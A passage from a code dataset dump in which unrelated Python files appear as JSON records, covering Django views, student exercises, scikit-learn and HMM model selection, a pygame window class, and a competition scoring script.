Document.objects.filter()\n\n return render(request, 'documents/documents_control.html',\n {'condominium_informations': condominium_informations,\n 'documents': documents})\n\n\ndef delete_document(request, pk):\n try:\n instance = Document.objects.get(pk=pk)\n except Document.DoesNotExist:\n raise Http404\n\n if request.method == 'POST':\n instance.delete()\n messages.success(request, 'O documento foi excluído com sucesso')\n return HttpResponseRedirect(r('documents:documents_control'))\n\n\n condominium_informations = Condominium.objects.filter()\n return render(request, 'documents/delete_document_form.html',\n {\n 'condominium_informations': condominium_informations,\n })\n\n\n\n\n\n\n\n\n\n","sub_path":"appsindico/documents/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"636978269","text":"\"\"\"Counting letters in a string.\"\"\"\n\n__author__ = \"730397680\"\n\n\nletter: str = str(input(\"What letter do you want to search for?: \"))\nword: str = str(input(\"Enter a word: \"))\ni: int = 0\ncount: int = 0\nwhile i < len(word):\n if letter == (word[i]):\n count = count + 1\n i = i + 1\n else:\n i = i + 1\nprint(\"Count: \" + str(count))\n\n\"\"\"At first this assignment seemed confusing but after I just assigned the 4 variables and just thought out\nmy while statement I realised that this was only a 10 line project. The while function was obviously used to start\na loop to allow the program to go through every letter of syntax given by the input of the user. The use of the \niteration was obviously to eventually work towards the false conclusion of the while statement. What I find most \ninteresting out of everything was how I had to put my i = i + 1 in my if condition and else condition which \nkind of threw me for a loop (no pun intended;) )\"\"\"","sub_path":"exercises/ex02/count_letters.py","file_name":"count_letters.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"542141934","text":"#\n# @lc app=leetcode id=1009 lang=python3\n#\n# [1009] Complement of Base 10 Integer\n#\n\n# @lc code=start\nclass Solution:\n def bitwiseComplement(self, N: int) -> int:\n result = \"\"\n nbins = bin(N)[2:]\n for i in nbins:\n result += str(int(i)^1)\n return int(result, 2) \n\n\n","sub_path":"leetcode/1009.complement-of-base-10-integer.py","file_name":"1009.complement-of-base-10-integer.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"387545230","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.svm import SVR\nfrom sklearn.preprocessing import StandardScaler\n\n#Input dataset\ndata = pd.read_csv('Position_Salaries.csv')\nX = data.iloc[:,1:2].values\ny = data.iloc[:,2].values\n\n\n#Splitting the dataset into the Training set and Test set\n#X_train, X_test, y_train, y_test = train_test_split(X,y,test_size=0.3,random_state=42)\n\n\n#Feature Scaling\nsc_X = StandardScaler()\nX = sc_X.fit_transform(X)\nsc_y = StandardScaler()\ny = sc_y.fit_transform(y.reshape(-1,1))\n\nregressor = SVR(kernel = 'rbf')\nregressor.fit(X,y)\n\ny_pred = sc_y.inverse_transform(regressor.predict(sc_X.transform([[6.5]])))\nprint(y_pred)\n\nplt.scatter(X, y,color = 'r',s=15)\nplt.plot(X,regressor.predict(X),color = 'b')\nplt.title('SVR')\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.show()\n\n","sub_path":"Udemy/MachiningLearning/Regression/SVR.py","file_name":"SVR.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"399245580","text":"#coding:utf-8\n\nimport numpy as np\nfrom scipy import io\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.externals import joblib\nfrom question71 import makeStoplist\nfrom question72 import extractFeaturesFromFile\n\n\nENCODING = \"cp1252\"\n\ndef learn():\n\n\tstoplist = makeStoplist()\n\tfeatures = extractFeaturesFromFile(stoplist=stoplist)\n\tvectorizer = TfidfVectorizer(encoding=ENCODING)\n\tX_train = vectorizer.fit_transform([\" \".join(feature[1:]) for feature in features])\n\ty_train = np.zeros(len(features))\n\tfor i in range(len(features)):\n\t\tif features[i][0] == \"+1\":\n\t\t\ty_train[i] = 1\n\tclf = LogisticRegression()\n\tclf.fit(X_train, y_train)\n\n\tio.savemat(\"X_train\", {\"X_train\": X_train})\n\tnp.save(\"y_train\", y_train)\n\tjoblib.dump(vectorizer, \"tfidf.vec\")\n\tjoblib.dump(clf, \"logreg.clf\")\n\n\nif __name__ == \"__main__\":\n\tlearn()\n\tprint(\"finish\")\n","sub_path":"question70-79/scikit-learn/question73.py","file_name":"question73.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"232212390","text":"from base64 import b64decode\nfrom datetime import date\n\nfrom werkzeug.exceptions import BadRequestKeyError\nfrom flask import abort\n\nfrom bifrost.base import BaseObject\nfrom bifrost.utils import T_NONE, WrongTypeException, nwe\n\n\nclass Aso(BaseObject):\n def __init__(self, eid=None):\n BaseObject.__init__(self,\n ('date', 'type', 'eid', 'document', 'document_ext',\n 'conclusion', 'observations'),\n ('_date', '_type', '_eid', '_document',\n '_document_ext', '_conclusion', '_observations'),\n 'bf_asos')\n self._date = None\n self._type = None\n self._eid = eid\n self._document = None\n self._document_ext = None\n self._conclusion = 'Y'\n self._observations = None\n\n def load_eid(self):\n conn = self.create_connection()\n rset = conn.query(self._eid)\n if len(rset) > 0:\n self._eid = rset[0][0]\n\n def load_from_form(self, form, aid=None):\n if aid:\n self.load(aid)\n try:\n self.date = nwe(form['date'])\n self.type = nwe(form['type'])\n self.conclusion = form['conclusion'] == 'Y'\n self.observations = nwe(form['observations'])\n self._document_ext = nwe(form['document_filename'].split('.')[-1])\n if len(form['document']) > 0:\n self.document = b64decode(\n form['document'].split(';base64,')[1].encode())\n except BadRequestKeyError as ke:\n print(ke)\n abort(403)\n except WrongTypeException as err:\n print(err)\n return str(err)\n except Exception as err:\n print(err)\n\n def __repr__(self):\n return '<{}>'.format(self.__str__())\n\n def __str__(self):\n return 'ASO: id={}, eid={}, data={}'.format(self.id,\n self._eid,\n self.date)\n\n @property\n def date(self):\n return self._date\n\n @date.setter\n def date(self, value):\n if isinstance(value, str):\n temp = value.split('/')\n self._date = date(int(temp[2]), int(temp[1]), int(temp[0]))\n elif isinstance(value, date):\n self._date = value\n else:\n raise WrongTypeException('Invalid type to date field')\n\n @property\n def type(self):\n return self._type\n\n @type.setter\n def type(self, value):\n if isinstance(value, str):\n self._type = value\n else:\n raise WrongTypeException('Invalid type to type field')\n\n @property\n def document(self):\n return self._document\n\n @document.setter\n def document(self, value):\n if isinstance(value, str) and value.startswith('data:'):\n self._document = value\n elif isinstance(value, bytes) or isinstance(value, T_NONE):\n self._document = value\n else:\n raise WrongTypeException('Invalid type to documnent field')\n\n @property\n def document_ext(self):\n return self._document_ext\n\n @property\n def conclusion(self):\n return self._conclusion == 'Y'\n\n @conclusion.setter\n def conclusion(self, value):\n if isinstance(value, bool):\n self._conclusion = 'Y' if value else 'N'\n else:\n raise WrongTypeException(\n 'Invalid type to conclusion field')\n\n @property\n def observations(self):\n return self._observations\n\n @observations.setter\n def observations(self, value):\n if isinstance(value, T_NONE) or isinstance(value, str):\n self._observations = value\n else:\n raise WrongTypeException('Invalid type to observation field')\n","sub_path":"bifrost/models/aso.py","file_name":"aso.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"615689619","text":"import pygame\nfrom zone import Couleur, Position, Zone\n\n\nclass Animation:\n\n def __init__(self, begin, end):\n\n if not (isinstance(begin, Zone) and isinstance(end, Zone)):\n raise TypeError(\"Les paramètres begin et end doivent être de type Zone\")\n self.begin = begin\n self.end = end\n self.generate()\n\n def generate(self):\n self.zone = []\n taille = 20\n debut = self.begin\n fin = self.end\n\n dx1 = (fin.p1.x-debut.p1.x) / taille\n dx2 = (fin.p2.x-debut.p2.x) / taille\n dy1 = (fin.p1.y-debut.p1.y) / taille\n dy2 = (fin.p2.y-debut.p2.y) / taille\n for i in range(taille):\n self.zone.append(Zone(\n Position(debut.p1.x+int(i*dx1), debut.p1.y+int(i*dy1)),\n Position(debut.p2.x+int(i*dx2), debut.p2.y+int(i*dy2)),\n ))\n self.zone.append(fin)\n\n def print(self):\n for img in self.zone:\n print(img)\n\n\nclass Window:\n cindex = 0\n decal = 5\n fonc_width = 35\n fonc_height = 25\n\n def __init__(self, titre: str, zone: Zone, bg_color: Couleur):\n if not isinstance(zone, Zone):\n raise TypeError(f\"La zone {zone} n'est pas de type Zone.\")\n\n if not isinstance(bg_color, Couleur):\n raise TypeError(f\"La couleur {bg_color} n'est pas de type Couleur.\")\n\n self.index = Window.cindex\n self.title = titre\n Window.cindex += 1\n\n self.zone_backup = None\n self.etat = [\"normal\"] # \"minimized, maximized\"\n self.set_zone(zone)\n self.bg_color = bg_color\n self.transparent = False\n self.cursor_zone = None\n self.animation = None\n\n def set_zone(self, zone: Zone):\n if self.etat[-1] == \"normal\":\n self.decal = 5\n else:\n self.decal = 0\n\n self.zone = zone\n self.zone_title = Zone(zone.p1.copy(), Position(zone.p2.x, zone.p1.y + self.fonc_height))\n self.zone_close = Zone(\n Position(self.zone_title.p2.x-self.decal-self.fonc_width, self.zone_title.p1.y), \n Position(self.zone_title.p2.x-self.decal, self.zone_title.p2.y))\n self.zone_maximize = Zone(\n Position(self.zone_title.p2.x-self.decal-2*self.fonc_width, self.zone_title.p1.y), \n Position(self.zone_title.p2.x-self.decal-self.fonc_width, self.zone_title.p2.y))\n self.zone_minimize = Zone(\n Position(self.zone_title.p2.x-self.decal-3*self.fonc_width, self.zone_title.p1.y), \n Position(self.zone_title.p2.x-self.decal-2*self.fonc_width, self.zone_title.p2.y))\n\n def contains(self, pos: Position):\n return self.zone.contains(pos)\n\n def resize(self, decal, border):\n # print(\"resize \" + str(decal) + \" on \" + border)\n p1 = self.zone.p1\n p2 = self.zone.p2\n if border == \"LEFT\":\n p1 = Position(self.zone.p1.x+decal, self.zone.p1.y)\n elif border == \"RIGHT\":\n p2 = Position(self.zone.p2.x+decal, self.zone.p2.y)\n elif border == \"BOTTOM\":\n p2 = Position(self.zone.p2.x, self.zone.p2.y+decal)\n\n self.set_zone(Zone(p1, p2))\n\n def move(self, decal):\n self.zone.move(decal)\n self.zone_title.move(decal)\n self.zone_minimize.move(decal)\n self.zone_maximize.move(decal)\n self.zone_close.move(decal)\n\n def move_to(self, mouse_position):\n self.etat.pop()\n dx = self.zone_backup.p2.x - self.zone_backup.p1.x\n dx_2 = dx // 2\n p1x = mouse_position[0] - dx_2\n p2x = p1x + dx\n p2y = self.zone_backup.p2.y - self.zone_backup.p1.y\n new_zone = Zone(Position(p1x, 0), Position(p2x, p2y))\n # print(mouse_position, self.zone_backup, \">\", new_zone)\n self.set_zone(new_zone)\n self.zone_backup = None\n\n def draw_rect_alpha(self, color, rect):\n shape_surf = pygame.Surface(pygame.Rect(rect).size, pygame.SRCALPHA)\n pygame.draw.rect(shape_surf, color, shape_surf.get_rect())\n self.screen.blit(shape_surf, rect)\n\n def draw(self, active_window):\n if active_window:\n theme_bg = Couleur(10, 130, 170, 50).to_tuple()\n noir = Couleur(0, 0, 0).to_tuple()\n rouge = Couleur(185, 85, 85).to_tuple()\n else:\n theme_bg = Couleur(130, 130, 150, 50).to_tuple()\n noir = Couleur(60, 60, 60).to_tuple()\n rouge = theme_bg\n\n if self.animation:\n if self.animation.zone:\n zone = self.animation.zone.pop(0)\n # self.screen.fill(theme_bg, rect=zone.to_tuple(True))\n self.draw_rect_alpha(theme_bg, rect=zone.to_tuple(True))\n return\n else:\n self.animation = None\n\n if self.etat[-1] == \"minimized\":\n return\n\n if self.transparent:\n self.draw_rect_alpha(self.bg_color.to_tuple(), rect=self.zone.to_tuple(True))\n else:\n self.screen.fill(self.bg_color.to_tuple(), rect=self.zone.to_tuple(True))\n self.screen.fill(theme_bg, rect=self.zone_title.to_tuple(True))\n\n font = pygame.font.SysFont(\"arial\", 14, 0, 0)\n if active_window:\n texte = font.render(self.title, 0, Couleur(255, 255, 255).to_tuple())\n else:\n texte = font.render(self.title, 0, Couleur(50, 50, 50).to_tuple())\n self.screen.blit(texte, (self.zone_title.p1.x+25, self.zone_title.p1.y+4))\n\n if self.etat[-1] == \"normal\":\n self.screen.fill(theme_bg, rect=self.zone.to_box(\"left\"))\n self.screen.fill(theme_bg, rect=self.zone.to_box(\"right\"))\n self.screen.fill(theme_bg, rect=self.zone.to_box(\"bottom\", True))\n\n theme_bg_clair = Couleur(70, 190, 220).to_tuple()\n\n if self.cursor_zone == self.zone_minimize:\n self.screen.fill(theme_bg_clair, rect=self.zone_minimize.to_tuple())\n elif self.cursor_zone == self.zone_maximize:\n self.screen.fill(theme_bg_clair, rect=self.zone_maximize.to_tuple())\n elif self.cursor_zone == self.zone_close:\n rouge = Couleur(240, 90, 90).to_tuple()\n\n self.screen.fill(rouge, rect=self.zone_close.to_tuple())\n\n pygame.draw.line(self.screen, noir, *self.zone_minimize.to_line(\"left\"))\n pygame.draw.line(self.screen, noir, *self.zone_maximize.to_line(\"left\"))\n pygame.draw.line(self.screen, noir, *self.zone_close.to_line(\"left\"))\n pygame.draw.line(self.screen, noir, *self.zone_close.to_line(\"right\"))\n\n pygame.draw.line(self.screen, noir, *self.zone_close.to_line(\"close_slash\"), width=3)\n pygame.draw.line(self.screen, noir, *self.zone_close.to_line(\"close_anti_slash\"), width=3)\n pygame.draw.line(self.screen, noir, *self.zone_minimize.to_line(\"minimize_symbol\"), width=2)\n\n if self.etat[-1] == \"normal\":\n pygame.draw.rect(self.screen, noir, self.zone_maximize.to_box(\"maximize_symbol\"), width=2)\n elif self.etat[-1] == \"maximized\":\n pygame.draw.rect(self.screen, noir, self.zone_maximize.to_box(\"maximize_symbol\"), width=2)\n pygame.draw.line(self.screen, noir, *self.zone_maximize.to_line(\"maximize_symbol_top\"))\n pygame.draw.line(self.screen, noir, *self.zone_maximize.to_line(\"maximize_symbol_right\"))\n\n pygame.draw.line(self.screen, noir, (\n self.zone_minimize.p1.x, self.zone_minimize.p2.y), \n (self.zone_close.p2.x-1, self.zone_close.p2.y))\n\n\nif __name__ == \"__main__\":\n print(\"Compilation: OK\")\n","sub_path":"windowz/windowz.py","file_name":"windowz.py","file_ext":"py","file_size_in_byte":7563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"72832795","text":"import math\nimport statistics\nimport warnings\n\nimport numpy as np\nfrom hmmlearn.hmm import GaussianHMM\nfrom sklearn.model_selection import KFold\nfrom asl_utils import combine_sequences\n\n\nclass ModelSelector(object):\n '''\n base class for model selection (strategy design pattern)\n '''\n\n def __init__(self, all_word_sequences: dict, all_word_Xlengths: dict, this_word: str, n_constant=3,\n min_n_components=2, max_n_components=10,\n random_state=14, verbose=False):\n self.words = all_word_sequences\n self.hwords = all_word_Xlengths\n self.sequences = all_word_sequences[this_word]\n self.X, self.lengths = all_word_Xlengths[this_word]\n self.this_word = this_word\n self.n_constant = n_constant\n self.min_n_components = min_n_components\n self.max_n_components = max_n_components\n self.random_state = random_state\n self.verbose = verbose\n\n def select(self):\n raise NotImplementedError\n\n def base_model(self, num_states):\n # with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n # warnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n try:\n hmm_model = GaussianHMM(n_components=num_states, covariance_type=\"diag\", n_iter=1000,\n random_state=self.random_state, verbose=False).fit(self.X, self.lengths)\n if self.verbose:\n print(\"model created for {} with {} states\".format(self.this_word, num_states))\n return hmm_model\n except:\n if self.verbose:\n print(\"failure on {} with {} states\".format(self.this_word, num_states))\n return None\n\n\nclass SelectorConstant(ModelSelector):\n \"\"\" select the model with value self.n_constant\n\n \"\"\"\n\n def select(self):\n \"\"\" select based on n_constant value\n\n :return: GaussianHMM object\n \"\"\"\n best_num_components = self.n_constant\n return self.base_model(best_num_components)\n\nclass SelectorBIC(ModelSelector):\n \"\"\" select the model with the lowest Baysian Information Criterion(BIC) score\n\n http://www2.imm.dtu.dk/courses/02433/doc/ch6_slides.pdf\n Bayesian information criteria: BIC = -2 * logL + p * logN\n \"\"\"\n\n def select(self):\n \"\"\" select the best model for self.this_word based on\n BIC score for n between self.min_n_components and self.max_n_components\n\n :return: GaussianHMM object\n \"\"\"\n\n \"\"\"\n * where L is the likelihood of the fitted model, p is the number of parameters,and N is the number of data points\n \n Initial state occupation probabilities = num_states\n Transition probabilities = num_states*(num_states - 1)\n Emission probabilities = num_states*numFeatures*2 = numMeans+numCovars\n \n numMeans and numCovars are the number of means and covars calculated. \n One mean and covar for each state and features. \n Then the total number of parameters are:\n Parameters = Initial state occupation probabilities + Transition probabilities + Emission probabilities\n \"\"\"\n\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n best_selected_score = float('-inf')\n best_selected_model = None\n n = len(self.X)\n num_features = self.X.shape[1]\n\n for num_states in range(self.min_n_components, self.max_n_components + 1):\n try:\n\n model = self.base_model(num_states)\n logL = model.score(self.X, self.lengths)\n logN = np.log(n)\n\n transition_probability = num_states * (num_states - 1)\n emission_probability = num_states * num_features * 2\n\n p = num_states + transition_probability + emission_probability\n\n curr_score = -2 * logL + p * logN\n\n if curr_score > best_selected_score:\n best_selected_score = curr_score\n best_selected_model = model\n\n except:\n if self.verbose:\n print(\"failure on {} with {} states\".format(self.this_word, num_states))\n pass\n\n return best_selected_model\n\n\nclass SelectorDIC(ModelSelector):\n ''' select best model based on Discriminative Information Criterion\n\n Biem, Alain. \"A model selection criterion for classification: Application to hmm topology optimization.\"\n Document Analysis and Recognition, 2003. Proceedings. Seventh International Conference on. IEEE, 2003.\n http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.58.6208&rep=rep1&type=pdf\n DIC = log(P(X(i)) - 1/(M-1)SUM(log(P(X(all but i))\n '''\n\n def select(self):\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n best_selected_score = float('-inf')\n best_selected_model = None\n n = len(self.X)\n\n for num_states in range(self.min_n_components, self.max_n_components + 1):\n try:\n model = self.base_model(num_states)\n logL = model.score(self.X, self.lengths)\n\n word_scores = []\n logL_all_but_word = 0\n\n for word in [w for w in self.words if w != self.this_word]:\n word_X, word_lengths = self.hwords[word]\n word_score = model.score(word_X, word_lengths)\n word_scores.append(word_score)\n\n if word_scores:\n logL_all_but_word = sum(word_scores)/len(word_scores)\n\n curr_score = logL - logL_all_but_word\n if curr_score > best_selected_score:\n best_selected_score = curr_score\n best_selected_model = model\n\n\n except:\n if self.verbose:\n print(\"failure on {} with {} states\".format(self.this_word, num_states))\n pass\n\n return best_selected_model\n\n\nclass SelectorCV(ModelSelector):\n ''' select best model based on average log Likelihood of cross-validation folds\n\n '''\n\n\n def select(self):\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n if len(self.sequences) < 2:\n return None\n\n if len(self.sequences) == 2:\n n_splits = 2\n else:\n n_splits = 3\n\n best_selected_score = float('-inf')\n best_selected_model = None\n\n for num_states in range(self.min_n_components, self.max_n_components + 1):\n\n try:\n curr_scores = []\n\n kf = KFold(n_splits=n_splits)\n for cv_train_index, cv_test_index in kf.split(self.sequences):\n\n train_X, train_lengths = combine_sequences(cv_train_index, self.sequences)\n test_X, test_lengths = combine_sequences(cv_test_index, self.sequences)\n\n model = GaussianHMM(n_components=num_states\n , covariance_type=\"diag\"\n , n_iter=1000\n , random_state=self.random_state\n , verbose=False).fit(train_X, train_lengths)\n\n curr_score = model.score(test_X, test_lengths)\n curr_scores.append(curr_score)\n\n avg_score = sum(curr_scores)/len(curr_scores)\n\n if avg_score > best_selected_score:\n best_selected_score = avg_score\n best_selected_model = model\n\n except:\n if self.verbose:\n print(\"failure on {} with {} states\".format(self.this_word, num_states))\n pass\n\n return best_selected_model\n","sub_path":"my_model_selectors.py","file_name":"my_model_selectors.py","file_ext":"py","file_size_in_byte":7824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"330923846","text":"# Author: Ajit Pawa\n# id: 30003395\n# Tutorial: T06\n# Version 1.1\n# November 2016\n\n#Features:\n#> small program using classes and objects\n#> importing from different modules\n\nfrom dog import *\nfrom cat import *\n\ndef start():\n cat1 = Cat()\n dog1 = Dog()\n print(\"Cat's favourite food: %s\" %cat1.favouriteFood)\n print(\"Dog's favouite foods: %s\" %dog1.favouriteFood)\n cat1.favouriteFood = \"Tuna\" \n print(\"Cat's new favourite food: %s\" %cat1.favouriteFood)\n cat1.makeSound()\n\nstart()\n","sub_path":"School Work/CPSC 231 - Intro CPSC/assignments/mini5a/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"325547346","text":"# Copyright 2020 The PGDL Competition organizers.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n#!/usr/bin/env python\r\n\r\n# Scoring program for the PGDL competition at NeurIPS 2020\r\n# Modified from the AutoDL competition scoring program\r\n# Yiding Jiang, July 2020-October 2020\r\n\r\n# Some libraries and options\r\nimport os\r\nfrom sys import argv\r\nimport json\r\nimport collections\r\nimport itertools\r\n\r\nimport my_metric\r\nimport libscores\r\nimport sklearn.metrics as metrics\r\nimport yaml\r\nimport pickle\r\nfrom libscores import *\r\nfrom mutual_information import conditional_mutual_information\r\n\r\n\r\n# Default I/O directories:\r\nroot_dir = \"../\"\r\ndefault_solution_dir = root_dir + \"sample_data\"\r\ndefault_prediction_dir = root_dir + \"sample_result_submission\"\r\ndefault_score_dir = root_dir + \"scoring_output\"\r\n\r\n# Debug flag 0: no debug, 1: show all scores, 2: also show version amd listing of dir\r\ndebug_mode = 0\r\n\r\n# Constant used for a missing score\r\nmissing_score = -0.999999\r\n\r\n# Version number\r\nscoring_version = 1.0\r\n\r\n# Names for filtering\r\nfilter_filenames = ['.DS_Store', '__MACOSX']\r\n\r\ndef name_filter(name):\r\n for fn in filter_filenames:\r\n if fn in name:\r\n return True\r\n return False\r\n\r\ndef _HERE(*args):\r\n h = os.path.dirname(os.path.realpath(__file__))\r\n return os.path.join(h, *args)\r\n\r\ndef get_metric():\r\n metric_name = \"corr\"\r\n scoring_function = getattr(my_metric, metric_name)\r\n return metric_name, scoring_function\r\n\r\ndef check_data_validity(model_specs):\r\n sample_mid = list(model_specs.keys())[0]\r\n sample_config = model_specs[sample_mid]['hparams']\r\n ordered_hpnames = sorted(list(sample_config.keys()))\r\n possible_values = [sample_config[hp][\"possible_values\"] for hp in ordered_hpnames]\r\n def get_index(config):\r\n index = []\r\n for hp, hpv in zip(ordered_hpnames, possible_values):\r\n if hp == \"convwidth\":\r\n index.append(hpv.index(int(config[hp][\"current_value\"])))\r\n else:\r\n index.append(hpv.index(config[hp][\"current_value\"]))\r\n return index\r\n\r\n shape = [len(pv) for pv in possible_values]\r\n grid = np.zeros(shape)\r\n\r\n def fill_grid(index, grid):\r\n curr_level = grid\r\n for idx in index[:-1]:\r\n curr_level = curr_level[idx]\r\n curr_level[index[-1]] += 1\r\n\r\n for mid in model_specs:\r\n fill_grid(get_index(model_specs[mid]['hparams']), grid)\r\n\r\n complete = np.sum(1.0-np.float32(grid > 0))\r\n unique = np.sum(1.0-np.float32(grid == 1))\r\n\r\n if complete != 0:\r\n raise ValueError(\"The data are not complete!\")\r\n\r\n if unique != 0:\r\n raise ValueError(\"The data are not unique!\")\r\n\r\n print(\"Data is valid :)\")\r\n\r\ndef check_data_validity_v2(cfg):\r\n params = next(iter(cnf.values()))['hparams']\r\n expected_names = itertools.product(*[[(hparam_name, value) for value in params[hparam_name]['possible_values']] for hparam_name in params])\r\n expected = collections.Counter(expected_names)\r\n found_names = [tuple((hparam_name, e['current_value']) for hparam_name, e in v['hparams'].items()) for v in cnf.values()]\r\n found = collections.Counter(found_names)\r\n if len(found-expected):\r\n print('Difference between expected and found: {}'.format(found-expected))\r\n raise Value('Data are invalid!')\r\n\r\n# =============================== MAIN ========================================\r\n\r\nif __name__ == \"__main__\":\r\n\r\n #### INPUT/OUTPUT: Get input and output directory names\r\n if len(argv) == 1: # Use the default data directories if no arguments are provided\r\n solution_dir = default_solution_dir\r\n prediction_dir = default_prediction_dir\r\n score_dir = default_score_dir\r\n elif len(argv) == 3: # The current default configuration of Codalab\r\n solution_dir = os.path.join(argv[1], 'ref')\r\n prediction_dir = os.path.join(argv[1], 'res')\r\n score_dir = argv[2]\r\n elif len(argv) == 4:\r\n solution_dir = argv[1]\r\n prediction_dir = argv[2]\r\n score_dir = argv[3]\r\n else:\r\n swrite('\\n*** WRONG NUMBER OF ARGUMENTS ***\\n\\n')\r\n exit(1)\r\n\r\n # Going into reference data\r\n solution_dir_content = os.listdir(solution_dir)\r\n if 'reference_data' in solution_dir_content:\r\n solution_dir = os.path.join(solution_dir, 'reference_data')\r\n\r\n print('\\nsolution_dir: ', solution_dir)\r\n print('prediction_dir: ', prediction_dir)\r\n print('score_dir: ', score_dir, '\\n')\r\n # Create the output directory, if it does not already exist and open output files\r\n mkdir(score_dir)\r\n score_file = open(os.path.join(score_dir, 'scores.txt'), 'w')\r\n html_file = open(os.path.join(score_dir, 'scores.html'), 'w')\r\n\r\n # Get the metric\r\n metric_name, scoring_function = get_metric()\r\n\r\n # Get all the solution files from the solution directory\r\n # data_names = [name for name in os.listdir(solution_dir) if '__MACOSX' not in name and '.DS_Store' not in name]\r\n data_names = [name for name in os.listdir(solution_dir) if not name_filter(name)]\r\n print(data_names)\r\n\r\n time_exceeded = False\r\n task_scores = []\r\n # Loop over files in solution directory and search for predictions with extension .predict having the same basename\r\n for i, basename in enumerate(data_names):\r\n set_num = i + 1 # 1-indexed\r\n # score_name = 'set%s_score' % set_num\r\n score_name = 'task_{}_score'.format(basename)\r\n \r\n score = 0.0\r\n \r\n try:\r\n # Get the last prediction from the res subdirectory (must end with '.predict')\r\n predict_file = os.path.join(prediction_dir, basename + '.predict')\r\n with open(predict_file, 'r') as f:\r\n prediction = json.load(f)\r\n print('Read prediction from: {}'.format(predict_file))\r\n \r\n for mid in prediction:\r\n if prediction[mid] == 'EXCEEDED':\r\n time_exceeded = True\r\n\r\n if time_exceeded:\r\n continue\r\n\r\n model_specs_file = os.path.join(solution_dir, basename, 'model_configs.json') \r\n with open(model_specs_file, 'r') as f:\r\n model_specs = json.load(f)\r\n print('Read model configs from: {}'.format(model_specs_file))\r\n check_data_validity(model_specs)\r\n\r\n if len(model_specs) != len(prediction):\r\n raise ValueError(\"Prediction shape={} instead of Solution shape={}\".format(len(prediction), len(model_specs)))\r\n try:\r\n # Compute the score prescribed by the metric file\r\n print('Start computing score for {}'.format(basename))\r\n score, vector1, vector2 = scoring_function(prediction, model_specs)\r\n plot_list = list()\r\n for a,b in zip(vector1,vector2):\r\n plot_list.append(np.array([a,b]).reshape(1,2))\r\n plot_list = np.concatenate(plot_list,axis=1)\r\n plot_file = os.path.join(score_dir, 'plot_{}.npz'.format(basename))\r\n np.save(plot_file,plot_list)\r\n print('Score computation finished...')\r\n print(\r\n \"======= Set %d\" % set_num + \" (\" + basename.capitalize() + \"): \" + metric_name + \"(\" + score_name + \")=%0.12f =======\" % score)\r\n html_file.write(\r\n \"======= Set %d\" % set_num + \" (\" + basename.capitalize() + \"): \" + metric_name + \"(\" + score_name + \")=%0.12f =======\\n\" % score)\r\n except Exception as inst:\r\n raise Exception('Error in calculation of the specific score of the task: \\n {}'.format(inst))\r\n # record score for individual tasks\r\n task_scores.append(score)\r\n i#if debug_mode > 0:\r\n # scores = compute_all_scores(solution, prediction)\r\n # write_scores(html_file, scores)\r\n\r\n except Exception as inst:\r\n score = missing_score\r\n print(\r\n \"======= Set %d\" % set_num + \" (\" + basename.capitalize() + \"): \" + metric_name + \"(\" + score_name + \")=ERROR =======\")\r\n html_file.write(\r\n \"======= Set %d\" % set_num + \" (\" + basename.capitalize() + \"): \" + metric_name + \"(\" + score_name + \")=ERROR =======\\n\")\r\n print(inst)\r\n\r\n # Write score corresponding to selected task and metric to the output file\r\n score_file.write(score_name + \": %0.12f\\n\" % score)\r\n\r\n # End loop for solution_file in solution_names\r\n\r\n task_average_score = sum(task_scores)/float(len(task_scores))\r\n # Solution exceeding time budget receives lowest score of 0.0\r\n if time_exceeded:\r\n task_average_score = 0.0\r\n task_average_score *= 100.0\r\n score_file.write(\"task_average_score\" + \": %0.12f\\n\" % task_average_score)\r\n print(\"Task average: %0.12f\" % task_average_score)\r\n\r\n # Read the execution time and add it to the scores:\r\n try:\r\n metadata = yaml.load(open(os.path.join(input_dir, 'res', 'metadata'), 'r'))\r\n score_file.write(\"Duration: %0.6f\\n\" % metadata['elapsedTime'])\r\n except:\r\n score_file.write(\"Duration: 0\\n\")\r\n html_file.close()\r\n\r\n score_file.close()\r\n\r\n # Lots of debug stuff\r\n if debug_mode > 1:\r\n swrite('\\n*** SCORING PROGRAM: PLATFORM SPECIFICATIONS ***\\n\\n')\r\n show_platform()\r\n show_io(prediction_dir, score_dir)\r\n 